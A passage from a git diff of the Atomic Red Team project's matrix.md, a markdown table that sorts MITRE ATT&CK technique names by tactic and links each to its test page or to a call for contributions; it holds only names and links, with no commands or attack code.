[Hidden Users](./T1147/T1147.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Information Discovery](./T1082/T1082.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Logon Scripts](./T1037/T1037.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Plist Modification](./T1150/T1150.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Rc.common](./T1163/T1163.md) | | [Launchctl](./T1152/T1152.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | -| | | [Re-opened Applications](./T1164/T1164.md) | | [Masquerading](./T1036/T1036.md) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Startup Items](./T1165/T1165.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Trap](./T1154/T1154.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Data Encoding](./T1132/T1132.md) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Prompt](./T1141/T1141.md) | [Network Sniffing](./T1040/T1040.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](./T1169/T1169.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](./T1201/T1201.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](./T1206/T1206.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Users](./T1147/T1147.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Logon Scripts](./T1037/T1037.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Information Discovery](./T1082/T1082.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Plist Modification](./T1150/T1150.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | [Remote File Copy](./T1105/T1105.md) | +| | | [Rc.common](./T1163/T1163.md) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Re-opened Applications](./T1164/T1164.md) | | [Launchctl](./T1152/T1152.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Masquerading](./T1036/T1036.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Setuid and Setgid](./T1166/T1166.md) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | | [Startup Items](./T1165/T1165.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Trap](./T1154/T1154.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | | | | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | | | [Scripting](./T1064/T1064.md) | | | | | | | diff --git a/atomics/matrix.md b/atomics/matrix.md index 1961a0207c..f1e13e1543 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -3,51 +3,53 @@ |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](./T1088/T1088.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](./T1193/T1193.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](./T1088/T1088.md) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Process Discovery](./T1057/T1057.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DCShadow](./T1207/T1207.md) | [Input Prompt](./T1141/T1141.md) | [Query Registry](./T1012/T1012.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Keychain](./T1142/T1142.md) | [Security Software Discovery](./T1063/T1063.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Mshta](./T1170/T1170.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [PowerShell](./T1086/T1086.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | [Network Sniffing](./T1040/T1040.md) | [System Network Configuration Discovery](./T1016/T1016.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Connections Discovery](./T1049/T1049.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Time Discovery](./T1124/T1124.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Scripting](./T1064/T1064.md) | [Hypervisor](./T1062/T1062.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | [Service Execution](./T1035/T1035.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | -| | [Signed Script Proxy Execution](./T1216/T1216.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | -| | [Source](./T1153/T1153.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](./T1169/T1169.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | -| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](./T1206/T1206.md) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | -| | [Windows Management Instrumentation](./T1047/T1047.md) | [Logon Scripts](./T1037/T1037.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | -| | [Windows Remote Management](./T1028/T1028.md) | [Modify Existing Service](./T1031/T1031.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | -| | | [Netsh Helper DLL](./T1128/T1128.md) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | [New Service](./T1050/T1050.md) | | [Launchctl](./T1152/T1152.md) | | | | | | | -| | | [Office Application Startup](./T1137/T1137.md) | | [Masquerading](./T1036/T1036.md) | | | | | | | -| | | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Modify Registry](./T1112/T1112.md) | | | | | | | -| | | [Plist Modification](./T1150/T1150.md) | | [Mshta](./T1170/T1170.md) | | | | | | | -| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | -| | | [Rc.common](./T1163/T1163.md) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | | -| | | [Re-opened Applications](./T1164/T1164.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | | -| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | [Scheduled Task](./T1053/T1053.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | [Screensaver](./T1180/T1180.md) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | -| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Account Manipulation](./T1098/T1098.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | +| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](./T1088/T1088.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Bypass User Account Control](./T1088/T1088.md) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | 